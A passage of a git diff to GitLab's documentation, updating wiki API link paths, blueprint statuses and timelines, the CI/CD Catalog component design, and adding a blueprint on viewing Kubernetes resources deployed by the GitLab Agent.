yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `content` | string | yes | The content of the wiki page | | `title` | string | yes | The title of the wiki page | | `format` | string | no | The format of the wiki page. Available formats are: `markdown` (default), `rdoc`, `asciidoc` and `org` | @@ -130,7 +130,7 @@ PUT /projects/:id/wikis/:slug | Attribute | Type | Required | Description | | --------------- | ------- | --------------------------------- | ------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `content` | string | yes if `title` is not provided | The content of the wiki page | | `title` | string | yes if `content` is not provided | The title of the wiki page | | `format` | string | no | The format of the wiki page. Available formats are: `markdown` (default), `rdoc`, `asciidoc` and `org` | @@ -163,7 +163,7 @@ DELETE /projects/:id/wikis/:slug | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `slug` | string | yes | URL-encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` | ```shell @@ -183,7 +183,7 @@ POST /projects/:id/wikis/attachments | Attribute | Type | Required | Description | | ------------- | ------- | -------- | ---------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `file` | string | yes | The attachment to be uploaded | | `branch` | string | no | The name of the branch. Defaults to the wiki repository default branch | diff --git a/doc/architecture/blueprints/_template.md b/doc/architecture/blueprints/_template.md index e39c2b51a5b..f7dea60e9b7 100644 --- a/doc/architecture/blueprints/_template.md +++ b/doc/architecture/blueprints/_template.md @@ -43,6 +43,15 @@ a feature has become "implemented", major changes should get new blueprints. The canonical place for the latest set of instructions (and the likely source of this file) is [here](/doc/architecture/blueprints/_template.md). + +Blueprint statuses you can use: + +- "proposed" +- "accepted" +- "ongoing" +- "implemented" +- "rejected" + --> # {+ Title of Blueprint +} diff --git a/doc/architecture/blueprints/ci_data_decay/pipeline_partitioning.md b/doc/architecture/blueprints/ci_data_decay/pipeline_partitioning.md index 261390d1d14..ebe3c72adfc 100644 --- a/doc/architecture/blueprints/ci_data_decay/pipeline_partitioning.md +++ b/doc/architecture/blueprints/ci_data_decay/pipeline_partitioning.md @@ -758,25 +758,25 @@ gantt section Phase 0 Build data partitioning strategy :done, 0_1, 2022-06-01, 90d section Phase 1 - Partition biggest CI tables :1_1, after 0_1, 140d - Biggest table partitioned :milestone, metadata, 2022-12-01, 1min + Partition biggest CI tables :1_1, after 0_1, 200d + Biggest table partitioned :milestone, metadata, 2023-03-01, 1min Tables larger than 100GB partitioned :milestone, 100gb, after 1_1, 1min section Phase 2 - Add paritioning keys to SQL queries :2_1, after 1_1, 120d + Add paritioning keys to SQL queries :2_1, 2023-01-01, 120d Emergency partition detachment possible :milestone, detachment, 2023-04-01, 1min All SQL queries are routed to partitions :milestone, routing, after 2_1, 1min section Phase 3 - Build new data access patterns :3_1, 2023-03-01, 120d - New API endpoint created for inactive data :milestone, api1, 2023-05-01, 1min - Filtering added to existing API endpoints :milestone, api2, 2023-07-01, 1min + Build new data access patterns :3_1, 2023-05-01, 120d + New API endpoint created for inactive data :milestone, api1, 2023-07-01, 1min + Filtering added to existing API endpoints :milestone, api2, 2023-09-01, 1min section Phase 4 - Introduce time-decay mechanisms :4_1, 2023-06-01, 120d - Inactive partitions are not being read :milestone, part1, 2023-08-01, 1min - Performance of the database cluster improves :milestone, part2, 2023-09-01, 1min + Introduce time-decay mechanisms :4_1, 2023-08-01, 120d + Inactive partitions are not being read :milestone, part1, 2023-10-01, 1min + Performance of the database cluster improves :milestone, part2, 2023-11-01, 1min section Phase 5 - Introduce auto-partitioning mechanisms :5_1, 2023-07-01, 120d - New partitions are being created automatically :milestone, part3, 2023-10-01, 1min - Partitioning is made available on self-managed :milestone, part4, 2023-11-01, 1min + Introduce auto-partitioning mechanisms :5_1, 2023-09-01, 120d + New partitions are being created automatically :milestone, part3, 2023-12-01, 1min + Partitioning is made available on self-managed :milestone, part4, 2024-01-01, 1min ``` ## Conclusions @@ -796,18 +796,16 @@ strategy here to share knowledge and solicit feedback from other team members. ## Who -Authors: +DRIs: <!-- vale gitlab.Spelling = NO --> -| Role | Who | -|--------|----------------| -| Author | Grzegorz Bizon | - -Recommenders: - -| Role | Who | -|-------------------------------|-----------------| -| Senior Distingiushed Engineer | Kamil Trzciński | +| Role | Who | +|---------------------|------------------------------------------------| +| Author | Grzegorz Bizon, Principal Engineer | +| Recommender | Kamil Trzciński, Senior Distingiushed Engineer | +| Product Manager | James Heimbuck, Senior Product Manager | +| Engineering Manager | Scott Hampton, Engineering Manager | +| Lead Engineer | Marius Bobin, Senior Backend Engineer | <!-- vale gitlab.Spelling = YES --> diff --git a/doc/architecture/blueprints/ci_pipeline_components/index.md b/doc/architecture/blueprints/ci_pipeline_components/index.md index 5bff794c683..b1aee7c4217 100644 --- a/doc/architecture/blueprints/ci_pipeline_components/index.md +++ b/doc/architecture/blueprints/ci_pipeline_components/index.md @@ -1,5 +1,5 @@ --- -status: proposed +status: ongoing creation-date: "2022-09-14" authors: [ "@ayufan", "@fabiopitino", "@grzesiek" ] coach: [ "@ayufan", "@grzesiek" ] @@ -8,20 +8,22 @@ owning-stage: "~devops::verify" participating-stages: [] --- -# CI/CD pipeline components catalog +# CI/CD Catalog ## Summary ## Goals -The goal of the CI/CD pipeline components catalog is to make the reusing pipeline configurations -easier and more efficient. -Providing a way to discover, understand and learn how to reuse pipeline constructs allows for a more streamlined experience. -Having a CI/CD pipeline components catalog also sets a framework for users to collaborate on pipeline constructs so that they can be evolved -and improved over time. +The goal of the CI/CD pipeline components catalog is to make the reusing +pipeline configurations easier and more efficient. Providing a way to +discover, understand and learn how to reuse pipeline constructs allows for a +more streamlined experience. Having a CI/CD pipeline components catalog also +sets a framework for users to collaborate on pipeline constructs so that they +can be evolved and improved over time. -This blueprint defines the architectural guidelines on how to build a CI/CD catalog of pipeline components. -This blueprint also defines the long-term direction for iterations and improvements to the solution. +This blueprint defines the architectural guidelines on how to build a CI/CD +catalog of pipeline components. This blueprint also defines the long-term +direction for iterations and improvements to the solution. ## Challenges @@ -55,7 +57,7 @@ This blueprint also defines the long-term direction for iterations and improveme - The user should be able to import the job inside a given stage or pass the stage names as input parameter when using the component. - Failures in mapping the correct stage can result in confusing errors. -- Some templates are designed to work with AutoDevops but are not generic enough +- Some templates are designed to work with AutoDevOps but are not generic enough ([example](https://gitlab.com/gitlab-org/gitlab/-/blob/2c0e8e4470001442e999391df81e19732b3439e6/lib/gitlab/ci/templates/AWS/Deploy-ECS.gitlab-ci.yml)). - Many CI templates, especially those [language specific](https://gitlab.com/gitlab-org/gitlab/-/tree/2c0e8e4470001442e999391df81e19732b3439e6/lib/gitlab/ci/templates) are tutorial/scaffolding-style templates. @@ -82,21 +84,7 @@ This blueprint also defines the long-term direction for iterations and improveme - Competitive landscape is showing the need for such feature - [R2DevOps](https://r2devops.io) implements a catalog of CI templates for GitLab pipelines. - [GitHub Actions](https://github.com/features/actions) provides an extensive catalog of reusable job steps. - -## Implementation guidelines - -- Start with the smallest user base. Dogfood the feature for `gitlab-org` and `gitlab-com` groups. - Involve the Engineering Productivity and other groups authoring pipeline configurations to test - and validate our solutions. -- Ensure we can integrate all the feedback gathered, even if that means changing the technical design or - UX. Until we make the feature GA we should have clear expectations with early adopters. -- Reuse existing functionality as much as possible. Don't reinvent the wheel on the initial iterations. - For example: reuse project features like title, description, avatar to build a catalog. -- Leverage GitLab features for the development lifecycle of the components (testing via `.gitlab-ci.yml`, - release management, Pipeline Editor, etc.). -- Design the catalog with self-managed support in mind. -- Allow the catalog an the workflow to support future types of pipeline constructs and new ways of using them. -- Design components and catalog following industry best practice related to building deterministic package managers. + - [CircleCI Orbs](https://circleci.com/orbs/) provide reusable YAML configuration packages. ## Glossary @@ -158,38 +146,50 @@ unable to achieve it early iterations. ## Structure of a component -A pipeline component is identified by the path to a repository or directory that defines it -and a specific version: `<component-path>@<version>`. +A pipeline component is identified by a unique address in the form `<fqdn>/<component-path>@<version>` containing: + +- FQDN (Fully Qualified Domain Name). +- The path to a repository or directory that defines it. +- A specific version + +For example: `gitlab.com/gitlab-org/dast@1.0`. + +### The FQDN -For example: `gitlab-org/dast@1.0`. +Initially we support only component addresses that point to the same GitLab instance, meaning that the FQDN matches +the GitLab host. ### The component path -A component path must contain at least the component YAML and optionally a +The directory identified by the component path must contain at least the component YAML and optionally a related `README.md` documentation file. The component path can be: -- A path to a project: `gitlab-org/dast`. The default component is processed. -- A path to an explicit component: `gitlab-org/dast/api-scan`. In this case the explicit `api-scan` component is processed. -- A path to a local directory: `/path/to/component`. This path must contain the component YAML that defines the component. - The path must start with `/` to indicate a full path in the repository. +- A path to a project: `gitlab.com/gitlab-org/dast`. The default component is processed. +- A path to an explicit component: `gitlab.com/gitlab-org/dast/api-scan`. In this case the explicit `api-scan` component is processed. +- A relative path to a local directory: `./path/to/component`. This path must contain the component YAML that defines the component. + The path must start with `./` or `../` to indicate a path relative to the current file's path. + +Relative local paths are a abbreviated form of the full component address, meaning that `./path/to/component` called from +a file `mydir/file.yml` in `gitlab-org/dast` project would be expanded to: + +```plaintext +gitlab.com/gitlab-org/dast/mydir/path/to/component@<CURRENT_SHA> +``` The component YAML file follows the filename convention `<type>.yml` where component type is one of: | Component type | Context | | -------------- | ------- | | `template` | For components used under `include:` keyword | -| `step` | For components used under `steps:` keyword | Based on the context where the component is used we fetch the correct YAML file. For example: -- if we are including a component `gitlab-org/dast@1.0` we expect a YAML file named `template.yml` in the +- if we are including a component `gitlab.com/gitlab-org/dast@1.0` we expect a YAML file named `template.yml` in the root directory of `gitlab-org/dast` repository. -- if we are including a component `gitlab-org/dast/api-scan@1.0` we expect a YAML file named `template.yml` inside a - directory `api-scan` of `gitlab-org/dast` repository. -- if we are using a step component `gitlab-org/dast/api-scan@1.0` we expect a YAML file named `step.yml` inside a +- if we are including a component `gitlab.com/gitlab-org/dast/api-scan@1.0` we expect a YAML file named `template.yml` inside a directory `api-scan` of `gitlab-org/dast` repository. A component YAML file: @@ -225,11 +225,11 @@ even when not releasing versions in the catalog. The version of the component can be (in order of highest priority first): -1. A commit SHA - For example: `gitlab-org/dast@e3262fdd0914fa823210cdb79a8c421e2cef79d8` -1. A released tag - For example: `gitlab-org/dast@1.0` -1. A special moving target version that points to the most recent released tag - For example: `gitlab-org/dast@~latest` -1. An unreleased tag - For example: `gitlab-org/dast@rc-1.0` -1. A branch name - For example: `gitlab-org/dast@master` +1. A commit SHA - For example: `gitlab.com/gitlab-org/dast@e3262fdd0914fa823210cdb79a8c421e2cef79d8` +1. A released tag - For example: `gitlab.com/gitlab-org/dast@1.0` +1. A special moving target version that points to the most recent released tag - For example: `gitlab.com/gitlab-org/dast@~latest` +1. An unreleased tag - For example: `gitlab.com/gitlab-org/dast@rc-1.0` +1. A branch name - For example: `gitlab.com/gitlab-org/dast@master` If a tag and branch exist with the same name, the tag takes precedence over the branch. Similarly, if a tag is named `e3262fdd0914fa823210cdb79a8c421e2cef79d8`, a commit SHA (if exists) @@ -267,7 +267,7 @@ The following directory structure would support 1 component per project: The `.gitlab-ci.yml` is recommended for the project to ensure changes are verified accordingly. -The component is now identified by the path `myorg/rails-rspec` and we expect a `template.yml` file +The component is now identified by the path `gitlab.com/myorg/rails-rspec` and we expect a `template.yml` file and `README.md` located in the root directory of the repository. The following directory structure would support multiple components per project: @@ -287,8 +287,8 @@ The following directory structure would support multiple components per project: In this example we are defining multiple test profiles that are executed with RSpec. The user could choose to use one or more of these. -Each of these components are identified by their path `myorg/rails-rspec/unit`, `myorg/rails-rspec/integration` -and `myorg/rails-rspec/feature`. +Each of these components are identified by their path `gitlab.com/myorg/rails-rspec/unit`, `gitlab.com/myorg/rails-rspec/integration` +and `gitlab.com/myorg/rails-rspec/feature`. This directory structure could also support both strategies: @@ -302,12 +302,8 @@ This directory structure could also support both strategies: │ └── template.yml # myorg/rails-rspec/unit ├── integration/ │ └── template.yml # myorg/rails-rspec/integration -├── feature/ -│ └── template.yml # myorg/rails-rspec/feature -└── report/ - ├── step.yml # myorg/rails-rspec/report - ├── Dockerfile - └── ... other files +└── feature/ + └── template.yml # myorg/rails-rspec/feature ``` With the above structure we could have a top-level component that can be used as the @@ -329,6 +325,8 @@ spec: website: # by default all declared inputs are mandatory. environment: default: test # apply default if not provided. This makes the input optional. + flags: + default: null # make an input entirely optional with no value by default. test_run: options: # a choice must be made from the list since there is no default value. - unit @@ -347,7 +345,7 @@ When using the component we pass the input parameters as follows: ```yaml include: - - component: org/my-component@1.0 + - component: gitlab.com/org/my-component@1.0 with: website: ${MY_WEBSITE} # variables expansion test_run: system @@ -359,7 +357,7 @@ possible [inputs provided upstream](#input-parameters-for-pipelines). Input parameters are validated as soon as possible: -1. Read the file `gitlab-template.yml` inside `org/my-component`. +1. Read the file `gitlab-template.yml` inside `org/my-component` project. 1. Parse `spec:inputs` from the specifications and validate the parameters against this schema. 1. If successfully validated, proceed with parsing the content. Return an error otherwise. 1. Interpolate input parameters inside the component's content. @@ -383,6 +381,32 @@ scan-website: With `$[[ inputs.XXX ]]` inputs are interpolated immediately after parsing the content. +### CI configuration interpolation perspectives and limitations + +With `spec:` users will be able to define input arguments for CI configuration. +With `with:` keywords, they will pass these arguments to CI components. + +`inputs` in `$[[ inputs.something ]]` is going to be an initial "object" or +"container" that we will provide, to allow users to access their arguments in +the interpolation block. This, however, can evolve into myriads of directions, for example: + +1. We could provide `variables` or `env` object, for users to access their environment variables easier. +1. We can extend the block evaluation to easier navigate JSON or YAML objects passed from elsewhere. +1. We can provide access to the repository files, snippets or issues from there too. + +The CI configuration interpolation is a relative compute-intensive technology, +especially because we foresee this mechanism being used frequently on +GitLab.com. In order to ensure that users are using this responsibly, we have +introduced various limits, required to keep our production system safe. The +limits should not impact users, because there are application limits available +on a different level (maximum YAML size supported, timeout on parsing YAML +files etc); the interpolation limits we've introduced are typically much higher +then these. Some of them are: + +1. An interpolation block should not be larger than 1 kilobyte. +1. A YAML value with interpolation in it can't be larger than 1 megabyte. +1. YAML configuration can't consist of more than half million entries. + ### Why input parameters and not environment variables? Until today we have been leveraging environment variables to pass information around. @@ -407,7 +431,7 @@ extend it to other `include:` types support inputs via `with:` syntax: ```yaml include: - - component: org/my-component@1.0 + - component: gitlab.com/org/my-component@1.0 with: foo: bar - local: path/to/file.yml @@ -492,7 +516,7 @@ spec: # rest of the pipeline config ``` -## Limits +### Limits Any MVC that exposes a feature should be added with limitations from the beginning. It's safer to add new features with restrictions than trying to limit a feature after it's being used. @@ -506,6 +530,41 @@ Some limits we could consider adding: - max level of nested imports - max length of the exported component name +## Publishing components + +Users will be able to publish CI Components into a CI Catalog. This can happen +in a CI pipeline job, similarly to how software is being deployed following +Continuous Delivery principles. This will allow us to guardrail the quality of +components being deployed. To ensure that the CI Components meet quality +standards users will be able to test them before publishing new versions in the +CI Catalog. + +Once a project containing components gets published we will index components' +metadata. We want to initially index as much metadata as possible, to gain more +flexibility in how we design CI Catalog's main page. We don't want to be +constrained by the lack of data available to properly visualize CI Components +in CI Catalog. In order to do that, we may need to find all components that are +being published, read their `spec` metadata and index what we find there. + +## Implementation guidelines + +- Start with the smallest user base. Dogfood the feature for `gitlab-org` and + `gitlab-com` groups. Involve the Engineering Productivity and other groups + authoring pipeline configurations to test and validate our solutions. +- Ensure we can integrate all the feedback gathered, even if that means + changing the technical design or UX. Until we make the feature GA we should + have clear expectations with early adopters. +- Reuse existing functionality as much as possible. Don't reinvent the wheel on + the initial iterations. For example: reuse project features like title, + description, avatar to build a catalog. +- Leverage GitLab features for the development lifecycle of the components + (testing via `.gitlab-ci.yml`, release management, Pipeline Editor, etc.). +- Design the catalog with self-managed support in mind. +- Allow the catalog and the workflow to support future types of pipeline + constructs and new ways of using them. +- Design components and catalog following industry best practice related to + building deterministic package managers. + ## Iterations 1. Experimentation phase diff --git a/doc/architecture/blueprints/consolidating_groups_and_projects/index.md b/doc/architecture/blueprints/consolidating_groups_and_projects/index.md index 0818d9b973d..97853075607 100644 --- a/doc/architecture/blueprints/consolidating_groups_and_projects/index.md +++ b/doc/architecture/blueprints/consolidating_groups_and_projects/index.md @@ -1,5 +1,5 @@ --- -status: proposed +status: ongoing creation-date: "2021-02-07" authors: [ "@alexpooley", "@ifarkas" ] coach: "@grzesiek" diff --git a/doc/architecture/blueprints/gitlab_agent_deployments/index.md b/doc/architecture/blueprints/gitlab_agent_deployments/index.md new file mode 100644 index 00000000000..96e361d7531 --- /dev/null +++ b/doc/architecture/blueprints/gitlab_agent_deployments/index.md @@ -0,0 +1,403 @@ +--- +status: proposed +creation-date: "2022-11-23" +authors: [ "@shinya.maeda" ] +coach: "@DylanGriffith" +approvers: [ "@nagyv-gitlab", "@cbalane", "@hustewart", "@hfyngvason" ] +owning-stage: "~devops::release" +participating-stages: [Configure, Release] +--- + +# View and manage resources deployed by GitLab Agent For Kuberenetes + +## Summary + +As part of the [GitLab Kubernetes Dashboard](https://gitlab.com/groups/gitlab-org/-/epics/2493) epic, +users want to view and manage their resources deployed by GitLab Agent For Kuberenetes. +Users should be able to interact with the resources through GitLab UI, such as Environment Index/Details page. + +This blueprint describes how the association is established and how these domain models interact with each other. + +## Motivation + +### Goals + +- The proposed architecture can be used in [GitLab Kubernetes Dashboard](https://gitlab.com/groups/gitlab-org/-/epics/2493). +- The proposed architecture can be used in [Organization-level Environment dashboard](https://gitlab.com/gitlab-org/gitlab/-/issues/241506). +- The cluster resources and events can be visualized per [GitLab Environment](../../../ci/environments/index.md). + An environment-specific view scoped to the resources managed either directly or indirectly by a deployment commit. +- Support both [GitOps mode](../../../user/clusters/agent/gitops.md#gitops-configuration-reference) and [CI Access mode](../../../user/clusters/agent/ci_cd_workflow.md#authorize-the-agent). + - NOTE: At the moment, we focus on the solution for CI Access mode. GitOps mode will have significant architectural changes _outside of_ this blueprint, + such as [Flux switching](https://gitlab.com/gitlab-org/gitlab/-/issues/357947) and [Manifest projects outside of the Agent configuration project](https://gitlab.com/groups/gitlab-org/-/epics/7704). In order to derisk potential rework, we'll revisit the GitOps mode after these upstream changes have been settled. + +### Non-Goals + +- The design details of [GitLab Kubernetes Dashboard](https://gitlab.com/groups/gitlab-org/-/epics/2493) and [Organization-level Environment dashboard](https://gitlab.com/gitlab-org/gitlab/-/issues/241506). +- Support Environment/Deployment features that rely on GitLab CI/CD pipelines, such as [Protected Environments](../../../ci/environments/protected_environments.md), [Deployment Approvals](../../../ci/environments/deployment_approvals.md), [Deployment safety](../../../ci/environments/deployment_safety.md), and [Environment rollback](../../../ci/environments/index.md#environment-rollback). These features are already available in CI Access mode, however, it's not available in GitOps mode. + +## Proposal + +### Overview + +- GitLab Environment and Agent-managed Resource Group have 1-to-1 relationship. +- Agent-managed Resource Group tracks all resources produced by the connected [agent](../../../user/clusters/agent/index.md). This includes not only resources written in manifest files but also subsequently generated resources (e.g. `Pod`s created by `Deployment` manifest file). +- Agent-managed Resource Group renders dependency graph, such as `Deployment` => `ReplicaSet` => `Pod`. This is for providing ArgoCD-style resource view. +- Agent-managed Resource Group has the Resource Health status that represents a summary of resource statuses, such as `Healthy`, `Progressing` or `Degraded`. + +```mermaid +flowchart LR + subgraph Kubernetes["Kubernetes"] + subgraph ResourceGroupProduction["ResourceGroup"] + direction LR + ResourceGroupProductionService(["Service"]) + ResourceGroupProductionDeployment(["Deployment"]) + ResourceGroupProductionPod1(["Pod1"]) + ResourceGroupProductionPod2(["Pod2"]) + end + subgraph ResourceGroupStaging["ResourceGroup"] + direction LR + ResourceGroupStagingService(["Service"]) + ResourceGroupStagingDeployment(["Deployment"]) + ResourceGroupStagingPod1(["Pod1"]) + ResourceGroupStagingPod2(["Pod2"]) + end + end + + subgraph GitLab + subgraph Organization + subgraph Project + environment1["production environment"] + environment2["staging environment"] + end + end + end + + environment1 --- ResourceGroupProduction + environment2 --- ResourceGroupStaging + ResourceGroupProductionService -.- ResourceGroupProductionDeployment + ResourceGroupProductionDeployment -.- ResourceGroupProductionPod1 + ResourceGroupProductionDeployment -.- ResourceGroupProductionPod2 + ResourceGroupStagingService -.- ResourceGroupStagingDeployment + ResourceGroupStagingDeployment -.- ResourceGroupStagingPod1 + ResourceGroupStagingDeployment -.- ResourceGroupStagingPod2 +``` + +### Existing components and relationships + +- [GitLab Project](../../../user/project/working_with_projects.md) and GitLab Environment have 1-to-many relationship. +- GitLab Project and Agent have 1-to-many _direct_ relationship. Only one project can own a specific agent. +- [GitOps mode](../../../user/clusters/agent/gitops.md#gitops-configuration-reference) + - GitLab Project and Agent do _NOT_ have many-to-many _indirect_ relationship yet. This will be supported in [Manifest projects outside of the Agent configuration project](https://gitlab.com/groups/gitlab-org/-/epics/7704). + - Agent and Agent-managed Resource Group have 1-to-1 relationship. Inventory IDs are used to group Kubernetes resources. This might be changed in [Flux switching](https://gitlab.com/gitlab-org/gitlab/-/issues/357947). +- [CI Access mode](../../../user/clusters/agent/ci_cd_workflow.md#authorize-the-agent) + - GitLab Project and Agent have many-to-many _indirect_ relationship. The project owning the agent can [share the access with the other proejcts](../../../user/clusters/agent/ci_cd_workflow.md#authorize-the-agent-to-access-projects-in-your-groups). (NOTE: Technically, only running jobs inside the project are allowed to access the cluster due to job-token authentication.) + - Agent and Agent-managed Resource Group do _NOT_ have relationships yet. + +### Issues + +- Agent-managed Resource Group should have environment ID as the foreign key, which must be unique across resource groups. +- Agent-managed Resource Group should have parameters how to group resources in the associated cluster, for example, `namespace`, `lable` and `inventory-id` (GitOps mode only) can passed as parameters. +- Agent-managed Resource Group should be able to fetch all relevant resources, including both default resource kinds and other [Custom Resources](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/). +- Agent-managed Resource Group should be aware of dependency graph. +- Agent-managed Resource Group should be able to compute Resource Health status from the associated resources. + +### Example: Pull-based deployment (GitOps mode) + +NOTE: +At the moment, we focus on the solution for CI Access mode. GitOps mode will have significant architectural changes _outside of_ this blueprint, +such as [Flux switching](https://gitlab.com/gitlab-org/gitlab/-/issues/357947) and [Manifest projects outside of the Agent configuration project](https://gitlab.com/groups/gitlab-org/-/epics/7704). In order to derisk potential rework, we'll revisit the GitOps mode after these upstream changes have been settled. + +### Example: Push-based deployment (CI access mode) + +This is an example of how the architecture works in push-based deployment. +The feature is documented [here](../../../user/clusters/agent/ci_cd_workflow.md) as CI access mode. + +```mermaid +flowchart LR + subgraph ProductionKubernetes["Production Kubernetes"] + subgraph ResourceGroupProductionFrontend["ResourceGroup"] + direction LR + ResourceGroupProductionFrontendService(["Service"]) + ResourceGroupProductionFrontendDeployment(["Deployment"]) + ResourceGroupProductionFrontendPod1(["Pod1"]) + ResourceGroupProductionFrontendPod2(["Pod2"]) + end + subgraph ResourceGroupProductionBackend["ResourceGroup"] + direction LR + ResourceGroupProductionBackendService(["Service"]) + ResourceGroupProductionBackendDeployment(["Deployment"]) + ResourceGroupProductionBackendPod1(["Pod1"]) + ResourceGroupProductionBackendPod2(["Pod2"]) + end + subgraph ResourceGroupProductionPrometheus["ResourceGroup"] + direction LR + ResourceGroupProductionPrometheusService(["Service"]) + ResourceGroupProductionPrometheusDeployment(["Deployment"]) + ResourceGroupProductionPrometheusPod1(["Pod1"]) + ResourceGroupProductionPrometheusPod2(["Pod2"]) + end + end + + subgraph GitLab + subgraph Organization + subgraph OperationGroup + subgraph AgentManagementProject + AgentManagementAgentProduction["Production agent"] + AgentManagementManifestFiles["Kubernetes Manifest Files"] + AgentManagementEnvironmentProductionPrometheus["production prometheus environment"] + AgentManagementPipelines["CI/CD pipelines"] + end + end + subgraph DevelopmentGroup + subgraph FrontendAppProject + FrontendAppCode["VueJS"] + FrontendDockerfile["Dockerfile"] + end + subgraph BackendAppProject + BackendAppCode["Golang"] + BackendDockerfile["Dockerfile"] + end + subgraph DeploymentProject + DeploymentManifestFiles["Kubernetes Manifest Files"] + DeploymentPipelines["CI/CD pipelines"] + DeploymentEnvironmentProductionFrontend["production frontend environment"] + DeploymentEnvironmentProductionBackend["production backend environment"] + end + end + end + end + + DeploymentEnvironmentProductionFrontend --- ResourceGroupProductionFrontend + DeploymentEnvironmentProductionBackend --- ResourceGroupProductionBackend + AgentManagementEnvironmentProductionPrometheus --- ResourceGroupProductionPrometheus + ResourceGroupProductionFrontendService -.- ResourceGroupProductionFrontendDeployment + ResourceGroupProductionFrontendDeployment -.- ResourceGroupProductionFrontendPod1 + ResourceGroupProductionFrontendDeployment -.- ResourceGroupProductionFrontendPod2 + ResourceGroupProductionBackendService -.- ResourceGroupProductionBackendDeployment + ResourceGroupProductionBackendDeployment -.- ResourceGroupProductionBackendPod1 + ResourceGroupProductionBackendDeployment -.- ResourceGroupProductionBackendPod2 + ResourceGroupProductionPrometheusService -.- ResourceGroupProductionPrometheusDeployment + ResourceGroupProductionPrometheusDeployment -.- ResourceGroupProductionPrometheusPod1 + ResourceGroupProductionPrometheusDeployment -.- ResourceGroupProductionPrometheusPod2 + AgentManagementAgentProduction -- Shared with --- DeploymentProject + DeploymentPipelines -- "Deploy" --> ResourceGroupProductionFrontend + DeploymentPipelines -- "Deploy" --> ResourceGroupProductionBackend + AgentManagementPipelines -- "Deploy" --> ResourceGroupProductionPrometheus +``` + +### Further details + +#### Multi-Project Deployment Pipelines + +The microservice project setup can be improved by [Multi-Project Deployment Pipelines](https://gitlab.com/groups/gitlab-org/-/epics/8483): + +- Deployment Project can behave as the shared deployment engine for any upstream application projects and environments. +- Environments can be created within the application projects. It gives more visibility of environments for developers. +- Deployment Project can be managed under Operator group. More segregation of duties. +- Users don't need to setup [RBAC to restrict CI/CD jobs](../../../user/clusters/agent/ci_cd_workflow.md#restrict-project-and-group-access-by-using-impersonation). +- This is especitially helpful for [dynamic environments](../../../ci/environments/index.md#create-a-dynamic-environment), such as Review Apps. + +```mermaid +flowchart LR + subgraph ProductionKubernetes["Production Kubernetes"] + subgraph ResourceGroupProductionFrontend["ResourceGroup"] + direction LR + ResourceGroupProductionFrontendService(["Service"]) + ResourceGroupProductionFrontendDeployment(["Deployment"]) + ResourceGroupProductionFrontendPod1(["Pod1"]) + ResourceGroupProductionFrontendPod2(["Pod2"]) + end + subgraph ResourceGroupProductionBackend["ResourceGroup"] + direction LR + ResourceGroupProductionBackendService(["Service"]) + ResourceGroupProductionBackendDeployment(["Deployment"]) + ResourceGroupProductionBackendPod1(["Pod1"]) + ResourceGroupProductionBackendPod2(["Pod2"]) + end + subgraph ResourceGroupProductionPrometheus["ResourceGroup"] + direction LR + ResourceGroupProductionPrometheusService(["Service"]) + ResourceGroupProductionPrometheusDeployment(["Deployment"]) + ResourceGroupProductionPrometheusPod1(["Pod1"]) + ResourceGroupProductionPrometheusPod2(["Pod2"]) + end + end + + subgraph GitLab + subgraph Organization + subgraph OperationGroup + subgraph DeploymentProject + DeploymentAgentProduction["Production agent"] + DeploymentManifestFiles["Kubernetes Manifest Files"] + DeploymentEnvironmentProductionPrometheus["production prometheus environment"] + DeploymentPipelines["CI/CD pipelines"] + end + end + subgraph DevelopmentGroup + subgraph FrontendAppProject + FrontendDeploymentPipelines["CI/CD pipelines"] + FrontendEnvironmentProduction["production environment"] + end + subgraph BackendAppProject + BackendDeploymentPipelines["CI/CD pipelines"] + BackendEnvironmentProduction["production environment"] + end + end + end + end + + FrontendEnvironmentProduction --- ResourceGroupProductionFrontend + BackendEnvironmentProduction --- ResourceGroupProductionBackend + DeploymentEnvironmentProductionPrometheus --- ResourceGroupProductionPrometheus + ResourceGroupProductionFrontendService -.- ResourceGroupProductionFrontendDeployment + ResourceGroupProductionFrontendDeployment -.- ResourceGroupProductionFrontendPod1 + ResourceGroupProductionFrontendDeployment -.- ResourceGroupProductionFrontendPod2 + ResourceGroupProductionBackendService -.- ResourceGroupProductionBackendDeployment + ResourceGroupProductionBackendDeployment -.- ResourceGroupProductionBackendPod1 + ResourceGroupProductionBackendDeployment -.- ResourceGroupProductionBackendPod2 + ResourceGroupProductionPrometheusService -.- ResourceGroupProductionPrometheusDeployment + ResourceGroupProductionPrometheusDeployment -.- ResourceGroupProductionPrometheusPod1 + ResourceGroupProductionPrometheusDeployment -.- ResourceGroupProductionPrometheusPod2 + FrontendDeploymentPipelines -- "Trigger downstream pipeline" --> DeploymentProject + BackendDeploymentPipelines -- "Trigger downstream pipeline" --> DeploymentProject + DeploymentPipelines -- "Deploy" --> ResourceGroupProductionFrontend + DeploymentPipelines -- "Deploy" --> ResourceGroupProductionBackend +``` + +#### View all Agent-managed Resource Groups on production environment + +At the group-level, we can accumulate all environments match a specific tier, for example, +listing all environments with `production` tier from subsequent projects. +This is useful to see the entire Agent-managed Resource Groups on production environment. +The following diagram examplifies the relationship between GitLab group and Kubernetes resources: + +```mermaid +flowchart LR + subgraph Kubernetes["Kubernetes"] + subgraph ResourceGroupProduction["ResourceGroup"] + direction LR + ResourceGroupProductionService(["Service"]) + ResourceGroupProductionDeployment(["Deployment"]) + ResourceGroupProductionPod1(["Pod1"]) + ResourceGroupProductionPod2(["Pod2"]) + end + subgraph ResourceGroupStaging["ResourceGroup"] + direction LR + ResourceGroupStagingService(["Service"]) + ResourceGroupStagingDeployment(["Deployment"]) + ResourceGroupStagingPod1(["Pod1"]) + ResourceGroupStagingPod2(["Pod2"]) + end + end + + subgraph GitLab + subgraph Organization + OrganizationProduction["All resources on production"] + subgraph Frontend project + FrontendEnvironmentProduction["production environment"] + end + subgraph Backend project + 